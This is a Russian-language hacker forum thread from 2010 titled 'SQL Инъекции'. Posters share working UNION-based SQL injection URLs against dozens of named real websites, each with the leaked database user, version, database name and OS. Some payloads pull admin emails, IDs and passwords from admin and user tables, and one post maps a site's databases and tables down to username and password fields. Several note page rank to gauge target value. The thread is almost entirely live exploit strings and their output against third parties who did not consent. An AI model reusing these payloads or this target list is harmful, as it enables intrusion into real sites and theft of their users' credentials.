SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.rowanaxp.org/stories.php?id=-9+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3,4,5,6,7,8,9--+
    version:5.0.89-userstats-log
    user:[email protected]
    database:rowanaxp


    Code:
    http://www.u2wanderer.org/disco/lyrics.php?id=-639+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9--+
    version:4.0.27-standard
    user:wanderu2_still@localhost

    Code:
    http://www.wqhs.org/playlist.php?id=-3412+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()@version_compile_os),7,8--+
    file_priv=y
    version:5.0.83-log
    user:[email protected]
    database:wqhs
    pr:5
     
    #11881 Dare, 26 Apr 2010
    Last edited: 26 Apr 2010
  2. colorist

    colorist Member

    Joined:
    22 Jun 2009
    Messages:
    0
    Likes Received:
    12
    Reputations:
    15
    http://www.vl.ru/tv/?dt=2010-01-28%5C&rubrics%5B%5D=2)+union+select+1,2,3,version(),5,6,7,8,9,10,11+--+&submit=%CF%EE%EA%E0%E7%E0%F2%FC%21


    version=5.0.22-log5

    :D
     
  3. hacker-nubik

    hacker-nubik New Member

    Joined:
    20 Apr 2010
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    PHP:
    http://www.rb.ru/line/index.php?poid=6+and+row(1,2)%3C(select+count(*),concat((select+concat(email,0x3a,id)+from+ipb.ibf_members++where+mgroup='7'+limit+1,1),0x3a,floor(rand(0)*2))+x+from+ipb.ibf_members+group+by+x+limit+1)+--+&tags=1427'
    Nek1t,
    http://forum.antichat.ru/showpost.php?p=1630322&postcount=13
    http://forum.antichat.ru/showpost.php?p=1778081&postcount=15
     
    #11883 hacker-nubik, 26 Apr 2010
    Last edited: 26 Apr 2010
    1 person likes this.
  4. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.wineforwheels.org/eventdetails.php?id=60'+and+0+union+select+1,concat_ws(80x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--+
    version:5.0.45
    user:wfw_prod@localhost
    pr:4
     
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.eecl.biz.nf/d22/news.php?go=fullnews&newsid=-10+union+select+1,2,3,4,5,6,7--

    user() : [email protected]
    version() : 4.1.18-log
    database() : eecom
    OS : Linux
    ----------------------------------------------------------------------------------------
    http://www.emiclassics.com/artistbiography.php?aid=-126+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,8,19,20,21,22,23,24,25,26+from+users--

    user(): [email protected]
    version(): 4.1.22-log
    database(): emiclassics2
    OS: красная шапочка
    ----------------------------------------------------------------------------------------
    http://www.icewarm.com.au/page.php?pId=-183+union+select+1,2,3--

    user(): dbwwwadmin@localhost
    version(): 4.1.21
    database(): icewarm
    OS: slackware-linux-gnu
    ----------------------------------------------------------------------------------------
    http://www.onlymelbourne.com.au/melbourne_details.php?id=-7185+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+admin--

    user(): onlymelb_onlymel@localhost
    version(): 5.0.90-community
    database(): onlymelb_melbourne
    OS: Linux
    -----------------------------------------------------------------------------------------
    http://www.jurasadministracija.lv/en/index.php?id=-6+union+select+1,concat(user(),version(),database(),@@version_compile_os),3,null,null,6,7,8--

    user(): www_designer@localhost
    version(): 5.0.67
    database(): LJA_WWW
    OS: pc-linux-gnu
    -----------------------------------------------------------------------------------------
    http://www.jfc.lv/skonto/modules.php?name=photos&gid=1+union+select+1+from+admins--

    user(): фильтрация
    version(): 5
    database(): фильтрация
    OS: Debian
    -----------------------------------------------------------------------------------------
    http://weddingrings.com.ph/viewcouple.php?num=-11+union+select+1,2+from+wp_users

    user(): weddink5_matus@localhost
    version(): 5.1.45-log
    database(): weddink5_matus
    OS: Linux
    -----------------------------------------------------------------------------------------
    http://www.itmaasia.com/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+tb_admin--

    user(): citme_wanhu@localhos
    version(): 5.1.33-community
    database(): exhibition
    OS: Windows
    -----------------------------------------------------------------------------------------
    http://www.1sttunisia.com/detail-actualite.php?id=-81+union+select+1,2,3,4,5,6,7,8,9,10,11+from+admin--

    user(): ebizprod@localhost
    version(): 5.0.85
    database(): ebizproduction
    OS: pc-linux-gnu
    -----------------------------------------------------------------------------------------
    http://press.az/news1.php?Id=-39+union+select+1--

    user(): mediade_samir@localhost
    version(): 5.0.81-community
    database(): mediade_portal
    OS: pc-linux-gnu
    --------------------------------------------------
    http://www.kannondance.ru/vo.php?razd=teachers&about=-1+union+select+1,2,3,4,5,6,7,8,9,10+from+administration--

    user(): [email protected]
    version(): 4.0.27-log
    database(): kannondance
    OS: freebsd 4.9
    --------------------------------------------------
    http://www.drinkaware.ie/index.php?sid=7&pid=-84+union+select+1,2,3,4,5,6,7+from+tbl_diary_users--

    user(): [email protected]
    version(): 5.0.45-community-log
    database(): meas51_pixel
    OS: pc-linux-gnu
    --------------------------------------------------
    http://www.waterbabies.ie/region.php?FID=-12+union+select+1,2,3,4,5+from+users--

    user(): [email protected]
    version(): 5.1.33-log
    database(): nemo
    OS: portbld-freebsd7.2
    --------------------------------------------------
    http://www.mathsrevision.net/gcse/pages.php?page=-9+union+select+1,2,3,4,5,6--

    user() : [email protected]
    version() : 4.1.22-standard-log
    database() : mathsrevisio
    OS: pc-linux-gnu
    ------------------------------------------------------------------------------
    http://www.ireland.anglican.org/index.php?do=newsprevious&sid=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--

    user() : [email protected]
    version() : 5.0.45-log
    database() : cofi
    OS: красная шапочка

    ------------------------------------------------------------------------------
    http://wbstraining.com/php/conference2010/show_page.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

    user() : [email protected]
    version() : 5.0.77
    database() : wbs
    OS : красная шапочка

    ------------------------------------------------------------------------------
    http://www.diariodelistmo.com/seccion.php?ids=-3+union+select+1--

    user() : root@localhost
    version() : 5.0.87-community-nt
    database() : istmodiario
    OS: Windows
    ------------------------------------------------------------------------------
    http://58.68.146.33/php/jixiangwu/show_pic.php?id=-204+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--

    user() : root@localhost
    version() : 5.0.67-community-log
    database() : jixiangwu
    OS: красная шапочка
    ----------------------------------------------------------------------------------------------------
    http://www.starnav.com.cn/news_view.php?id=-47+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

    user():starnav@localhost
    version():5.0.22-community-nt
    database():starnav
    OS: Windows
    --------------------------------------------------------------------------------
    http://www.fexco.com/news-view.php?id=-161+union+select+1,2,3,4,5,6,7,8--

    user() : splashg_fexco72@localhost
    version() : 5.0.51b-community-nt
    database() : splashg_fexco
    OS: Windows
    --------------------------------------------------------------------------------
    http://www.lemniscaat.nl/dynamic/genrelijst.php?genre=-28+union+select+1,2,3,4--

    user(): [email protected]
    version(): 5.0.32-Debian_7etch8-log
    database(): pushki00_lemdb
    OS: pc-linux-gnu
     
    _________________________
    2 people like this.
  6. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    http://newkurkino.ru/modules.php?op=modload&name=News&file=article&sid=64+and+0+union+select+1,2,3,4,5,6,7,concat_ws(0x3a%20,user(),database(),version()),9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_users--

    User: Uwww223S@localhost
    Version: 4.0.26-log
    Database: udb223
     
    1 person likes this.
  7. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    Code:
    http://gq.rfidchina.org/company.php?id=2283+AND+1=0+UNION+SELECT+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7+--+
    User: root@localhost
    Database: gongqiu
    Version: 5.1.24-rc-log
     
    2 people like this.
  8. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.terradigm.org/news.php?id=-19+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6--+
    version:4.1.20-log
    user:[email protected]
     
    1 person likes this.
  9. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    720
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.magical-kenya.de/index.php/reiseplanung/angebote?option=com_travel&view=detail&offerID=-14+UNION+SELECT+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29+from+ktbde_users--

    User:
    dbu1111831@localhost
    Version: 5.0.32-Debian_7etch11-log
    Database: db1111831-magicalkenyade

    Google PR: 5

    Joomla - Нет реакции на username/password
     
  10. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.hyperhidrosis.ru/parts.php?id=55'+union+select+1,2,3,4,concat_ws(0x3a%20,user(),database(),version()),6,7,8,9,10,11/*
    User: hyperhidrosis@localhost
    Version: 5.0.45
    Database: kuzmichev_hyperhidrosis
     
    3 people like this.
  11. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://www.art-spb.ru/catalog/index.php?category_id=-9999+and+1=2+union+select+1,aes_decrypt(aes_encrypt(concat_ws(0x3a,@@version,user(),@@version_compile_os),0x71),0x71),3,4,5,6,7,8,9,10,11,12--&good_style_rus=%C0%E1%F1%F2%F0%E0%EA%F6%E8%EE%ED%E8%E7%EC  
    version : 5.0.70-log
    user : st1945@localhost
    database : st1945_db
    os : pc-linux-gnu
     
  12. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    PHP:
    http://www.amontobin.com/storeNew/detail.php?item_type=poster&id=-11+u nion+select+1,2,version(),4,5,6,7,8,9,10,11,12/* 
    version: 4.1.25-Debian_mt1-log
    user: [email protected]
    database: db4336_admin

    PHP:
    http://www.autoupgradedirect.com/cart/pagedisp.php?id=-1+u nion+select+1,version(),3,4,5,6,7,8,9--
    version: 5.0.45-log
    user: [email protected]
    database: staging2
     
    #11892 S[N]EP, 27 Apr 2010
    Last edited: 27 Apr 2010
    1 person likes this.
  13. [AVT]

    [AVT] Member

    Joined:
    20 Dec 2007
    Messages:
    37
    Likes Received:
    16
    Reputations:
    1
    goldwm.net
    Version: 5.0.67
    User: [email protected]
    Database: b65177
    Code:
    http://goldwm.net/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    instantmoney.ru
    Version: 5.0.81-community
    User: instantm_vrenev@localhost
    Database: instantm_instantmbd
    Code:
    http://instantmoney.ru/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    vashobmennik.ru
    Version: 5.0.67-percona-highperf-b7-log
    User: konandr@localhost
    Database: konandr_obmen
    Code:
    http://vashobmennik.ru/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    rates.by
    Version: 5.0.67-percona-highperf-b7-log
    User: kaminsky@localhost
    Database: kaminsky_rates
    Code:
    http://rates.by/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    changewm.org
    Version: 5.0.85
    User: [email protected]
    Database: b51503_obmen
    Code:
    http://changewm.org/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    kursdeneg.info
    Version: 5.0.90
    User: kursdeneg_new@localhost
    Database: kursdeneg_new
    Code:
    http://kursdeneg.info/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    monitorkursov.com
    Version: 5.1.42
    User: monito_zen@localhost
    Database: monku438_kurs
    Code:
    http://monitorkursov.com/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    smartchange.biz
    Version: 5.0.90-community
    User: wm6933_smartch@localhost
    Database: wm6933_smartchange
    Code:
    http://smartchange.biz/news_detail.php?id=-1+union+select+1,2&page=1
    #################################

    www.exchanger-eye.ru
    Version: 5.0.89-community-log
    User: autocad_monitor5@localhost
    Database: autocad_monitor5
    Code:
    http://www.exchanger-eye.ru/news_detail.php?id=-1+union+select+1,2&page=1
     
    3 people like this.
  14. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    123

    Дорк: Сайт работает на BVLCMS
    5.0.51a-24+lenny3:admin1@localhost:azlk:debian-linux-gnu
    information_schema:azlk:bank1:blog1:blogclub:club:computer:kuzov:market:novosti:eek:byav:pig:televizor:test
    admin:fbody:fheader:sessions:sprcitat:sprcoment:sprcomentgal:sprcontent:sprgallery:sprlibrary:sprmainrazd:sprsubrazd:spruser
    username:password
     
    #11894 Strilo4ka, 27 Apr 2010
    Last edited: 27 Apr 2010
    4 people like this.
  15. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    http://www.mirvokrug.info/crimea/pano.php?id=-55+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4--

    User: chernish@localhost
    Version: 5.0.67-percona-highperf-b7-log
    Database: chernish_hotel3d
     
    4 people like this.
  16. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.stinkyjournalism.org/editordetail.php?id=-444++union+select+1,concat_ws(0x3a,admin_id,admin_name,admin_pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+admin
    Version:5.0.77
    User:stinky@localhost
    Database:stinky
    pr:5
    Не удалось найти админ панель.

    Code:
    http://www.jgeosci.org/index.php?pg=ref&ID=jgeosci.-059'+union+select+1,2,3,concat_ws(0x3a,version(),database(),user%28%29,@@version_compile_os),5,6,7,8,9,10,11,12,13--+
    user: prj_jgeosci_brw@localhost
    version: 5.1.45
    Datebase: prj_jgeosci
    pr: 6
     
    #11896 Dare, 27 Apr 2010
    Last edited: 27 Apr 2010
    2 people like this.
  17. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://botox.axilla.ru/parts.php?id=35'+union+select+1,2,3,4,concat_ws(0x3a%20,user(),database(),version()),6,7,8,9,10,11/*
    User: axillaBotox@localhost
    Version: 5.0.45
    Database: kuzmichev_axillaBotox
     
    1 person likes this.
  18. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    vitessemodels.com
    PHP:
    http://www.vitessemodels.com/vitesse_range.php?id=-2+u nion+select+version()/*
    version: 4.1.20
    user: vitesse_dbuser@localhost
    database: vitesse_db
     
    1 person likes this.
  19. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.tornworld.net/settingpageview.php?id=8+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11--+
    user:[email protected]
    version:5.0.88-userstats-log
    database:snowiebase
     
    1 person likes this.
  20. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    firstassetfunds.com
    PHP:
    http://www.firstassetfunds.com/products/fund.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
    version: 4.0.20
    user: [email protected]
    database: fafunds

    PR 4


    wellydiecast.com
    PHP:
    http://www.wellydiecast.com/product_detail.php?id=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,user(),database(),version()),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56/*
    version: 4.1.22-standard
    user: welly_db@localhost
    database: welly_db

    PR 3 | ТИЦ 30

    lumenessence.co.uk
    PHP:
    http://www.lumenessence.co.uk/artist.php?id=-1'+union+select+1,concat_ws(0x3a,user(),database(),version()),3/*
    version: 5.0.32-Debian_7etch12-log
    user: lum_000@localhost
    database: Lo033

    PR 3

    spacedev.com
    PHP:
    http://www.spacedev.com/hybrid_detail.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7/*
    version: 4.1.20-max-log
    user: [email protected]
    database: doubleb_space

    PR 6 | ТИЦ 60

    lhsaa.org
    PHP:
    http://www.lhsaa.org/sports.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database())
    version: 5.0.90-community
    user: athletic_mudball@localhost
    database: athletic_sports

    PR 5 | ТИЦ 10
     
    #11900 S[N]EP, 27 Apr 2010
    Last edited: 27 Apr 2010
Thread Status:
Not open for further replies.